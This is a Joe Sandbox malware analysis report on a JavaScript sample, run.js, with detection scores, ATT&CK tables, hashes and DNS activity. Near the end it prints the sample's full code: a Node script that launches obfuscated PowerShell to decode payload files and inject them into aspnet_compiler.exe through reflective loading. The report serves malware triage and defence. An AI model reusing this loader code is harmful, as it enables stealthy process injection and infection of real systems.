Windows
Analysis Report
run.js
Overview
General Information
Detection
Score: | 52 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Classification
- System is w10x64
- wscript.exe (PID: 2788 cmdline:
C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\run.j s" MD5: A47CBE969EA935BDD3AB568BB126BC80)
- cleanup
System Summary |
---|
Source: | Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: |
Source: | Author: Michael Haag: |
Click to jump to signature section
AV Detection |
---|
Source: | ReversingLabs: | |||
Source: | Virustotal: | Perma Link |
Source: | Initial sample: |
Source: | Classification label: |
Source: | Key opened: | Jump to behavior |
Source: | ReversingLabs: | ||
Source: | Virustotal: |
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior |
Source: | Key value queried: | Jump to behavior |
Source: | String : | Go to definition |
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior |
Source: | Window found: | Jump to behavior |
Source: | Thread injection, dropped files, key value created, disk infection and DNS query: |
Source: | Thread injection, dropped files, key value created, disk infection and DNS query: |
Source: | Key value queried: | Jump to behavior |
Reconnaissance | Resource Development | Initial Access | Execution | Persistence | Privilege Escalation | Defense Evasion | Credential Access | Discovery | Lateral Movement | Collection | Command and Control | Exfiltration | Impact |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|
Gather Victim Identity Information | 3 Scripting | Valid Accounts | Windows Management Instrumentation | 3 Scripting | 1 DLL Side-Loading | 1 DLL Side-Loading | OS Credential Dumping | 2 System Information Discovery | Remote Services | Data from Local System | 1 Data Encoding | Exfiltration Over Other Network Medium | Abuse Accessibility Features |
Credentials | Domains | Default Accounts | Scheduled Task/Job | 1 DLL Side-Loading | Boot or Logon Initialization Scripts | 1 Obfuscated Files or Information | LSASS Memory | Application Window Discovery | Remote Desktop Protocol | Data from Removable Media | Junk Data | Exfiltration Over Bluetooth | Network Denial of Service |
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
Source | Detection | Scanner | Label | Link |
---|---|---|---|---|
18% | ReversingLabs | Win32.Trojan.Generic | ||
27% | Virustotal | Browse |
Source | Detection | Scanner | Label | Link |
---|---|---|---|---|
0% | Virustotal | Browse | ||
0% | Virustotal | Browse |
Name | IP | Active | Malicious | Antivirus Detection | Reputation |
---|---|---|---|---|---|
bg.microsoft.map.fastly.net | 199.232.210.172 | true | false |
| unknown |
fp2e7a.wpc.phicdn.net | 192.229.221.95 | true | false |
| unknown |
Joe Sandbox version: | 40.0.0 Tourmaline |
Analysis ID: | 1446991 |
Start date and time: | 2024-05-24 07:40:09 +02:00 |
Joe Sandbox product: | CloudBasic |
Overall analysis duration: | 0h 1m 59s |
Hypervisor based Inspection enabled: | false |
Report type: | full |
Cookbook file name: | default.jbs |
Analysis system description: | Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01 |
Number of analysed new started processes analysed: | 2 |
Number of new started drivers analysed: | 0 |
Number of existing processes analysed: | 0 |
Number of existing drivers analysed: | 0 |
Number of injected processes analysed: | 0 |
Technologies: |
|
Analysis Mode: | default |
Analysis stop reason: | Timeout |
Sample name: | run.js |
Detection: | MAL |
Classification: | mal52.winJS@1/0@0/0 |
EGA Information: | Failed |
HCA Information: |
|
Cookbook Comments: |
|
- Exclude process from analysis (whitelisted): dllhost.exe
- Excluded IPs from analysis (whitelisted): 13.85.23.86
- Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, ocsp.edge.digicert.com, sls.update.microsoft.com, ctldl.windowsupdate.com, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net
Match | Associated Sample Name / URL | SHA 256 | Detection | Threat Name | Link | Context |
---|---|---|---|---|---|---|
bg.microsoft.map.fastly.net | Get hash | malicious | Unknown | Browse |
| |
Get hash | malicious | Unknown | Browse |
| ||
Get hash | malicious | Unknown | Browse |
| ||
Get hash | malicious | Unknown | Browse |
| ||
Get hash | malicious | Unknown | Browse |
| ||
Get hash | malicious | HTMLPhisher | Browse |
| ||
Get hash | malicious | Unknown | Browse |
| ||
Get hash | malicious | Unknown | Browse |
| ||
Get hash | malicious | HTMLPhisher | Browse |
| ||
Get hash | malicious | Unknown | Browse |
| ||
fp2e7a.wpc.phicdn.net | Get hash | malicious | Unknown | Browse |
| |
Get hash | malicious | RMSRemoteAdmin | Browse |
| ||
Get hash | malicious | RMSRemoteAdmin | Browse |
| ||
Get hash | malicious | Unknown | Browse |
| ||
Get hash | malicious | RHADAMANTHYS | Browse |
| ||
Get hash | malicious | Unknown | Browse |
| ||
Get hash | malicious | Unknown | Browse |
| ||
Get hash | malicious | Unknown | Browse |
| ||
Get hash | malicious | Unknown | Browse |
| ||
Get hash | malicious | HTMLPhisher | Browse |
|
File type: | |
Entropy (8bit): | 5.453036458906758 |
TrID: |
|
File name: | run.js |
File size: | 1'711 bytes |
MD5: | a366f21866b8ff4a50b7261e59ffe128 |
SHA1: | 5cd355dc2a1136e311290a24d1f7397a47aac925 |
SHA256: | 403fcc5959fdeef737585438c2389a6dec249902dc812a9b523b4339e1a9b282 |
SHA512: | 50f3cfe58bf8142cae97cbe9f1d1140cf583107744bbc62a2d3f0958519e566532e2eb027cd99de45a498d84725239082ca16c2134e0b4f5c2ebf43ae4c7b700 |
SSDEEP: | 24:93iVGziKKjZcOMoF6jmLCHjsgxQXtqmU9lNjicCiZGwuPjSiDrxiLGiYdjwZXBih:93iJC9Y2Z6bvsPE8ZskPEqgpd |
TLSH: | 1131EF38600FC9742F92F3A5D734EA8DD8B30116A4C45F50719D46C85785BA903779EF |
File Content Preview: | var exec = require("child_process").exec;..var src = "Function FH([String] $far) {" +.. "$JS = [System.Collections.Generic.List[Byte]]::new();" +.. "for ($i = 0; $i -lt $far.Length; $i +=8) {" +.. "$JS.Add([Convert]::ToByte($far.Substring($i, |
Icon Hash: | 68d69b8bb6aa9a86 |
Timestamp | Source IP | Dest IP | Trans ID | Reply Code | Name | CName | Address | Type | Class | DNS over HTTPS |
---|---|---|---|---|---|---|---|---|---|---|
May 24, 2024 07:41:15.691510916 CEST | 1.1.1.1 | 192.168.2.5 | 0x7aa3 | No error (0) | 199.232.210.172 | A (IP address) | IN (0x0001) | false | ||
May 24, 2024 07:41:15.691510916 CEST | 1.1.1.1 | 192.168.2.5 | 0x7aa3 | No error (0) | 199.232.214.172 | A (IP address) | IN (0x0001) | false | ||
May 24, 2024 07:41:16.199314117 CEST | 1.1.1.1 | 192.168.2.5 | 0x9f0a | No error (0) | fp2e7a.wpc.phicdn.net | CNAME (Canonical name) | IN (0x0001) | false | ||
May 24, 2024 07:41:16.199314117 CEST | 1.1.1.1 | 192.168.2.5 | 0x9f0a | No error (0) | 192.229.221.95 | A (IP address) | IN (0x0001) | false |
Click to jump to process
Click to jump to process
back
Click to dive into process behavior distribution
Target ID: | 0 |
Start time: | 01:40:56 |
Start date: | 24/05/2024 |
Path: | C:\Windows\System32\wscript.exe |
Wow64 process (32bit): | false |
Commandline: | |
Imagebase: | 0x7ff668d40000 |
File size: | 170'496 bytes |
MD5 hash: | A47CBE969EA935BDD3AB568BB126BC80 |
Has elevated privileges: | false |
Has administrator privileges: | false |
Programmed in: | C, C++ or other language |
Reputation: | high |
Has exited: | true |
Call Graph
Graph
- Executed
- Not Executed
Script: |
---|
Code | ||
---|---|---|
0 | var exec = require ( "child_process" ).exec; | |
1 | var src = "Function FH([String] $far) {" + "$JS = [System.Collections.Generic.List[Byte]]::new();" + "for ($i = 0; $i -lt $far.Length; $i +=8) {" + "$JS.Add([Convert]::ToByte($far.Substring($i, 8), 2));" + "}" + "return [System.Text.Encoding]::ASCII.GetString($JS.ToArray());" + "};" + "function majs { param([string] $str)" + "$danz = $str.Replace('%','0x').Split(' '); $wqi = New-Object 'byte[]' ($danz.Count / 2);" + "$count = 0; for ($i = 0; $i -lt $danz.Count - 1; $i += 2)" + "{ $wqi[$count] = [byte]($danz[$i]); $count++;" + "}" + "return $wqi };" + "$msg = (Get-Content -Path 'C:\\Users\\Public\\msg.txt');" + "$runpe = (Get-Content -Path 'C:\\Users\\Public\\runpe.txt');" + "$wqi = majs $msg;" + "$runpeD = majs $runpe;" + "$new = (Get-Content -Path 'C:\\Users\\Public\\NewPE2.txt');" + "$Execute = (Get-Content -Path 'C:\\Users\\Public\\Execute.txt');" + "$Invoke = (Get-Content -Path 'C:\\Users\\Public\\Invoke.txt');" + "$HJI = 'C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe';" + "$klaat = (Get-Content -Path 'C:\\Users\\Public\\load.txt');" + "$ype = (Get-Content -Path 'C:\\Users\\Public\\Gettype.txt');" + "$hekm = (Get-Content -Path 'C:\\Users\\Public\\getMethod.txt');"; | |
2 | var command = "[<#12554656#>Reflection.Assembly<#12554656#>]::$klaat([Byte[]]$runpeD).$ype($new).$hekm($Execute).$Invoke($null,[Object[]]($HJI,$null,[Byte[]]$wqi,$true)); Stop-Process -Name 'node'"; | |
3 | src += command; | |
4 | exec ( "powershell.exe -Command \"" + src + "\"", | |
5 | function (err, stdout, stderr) { | |
6 | if ( err ) | |
7 | { | |
8 | return ; | |
9 | } | |
10 | } ) ; |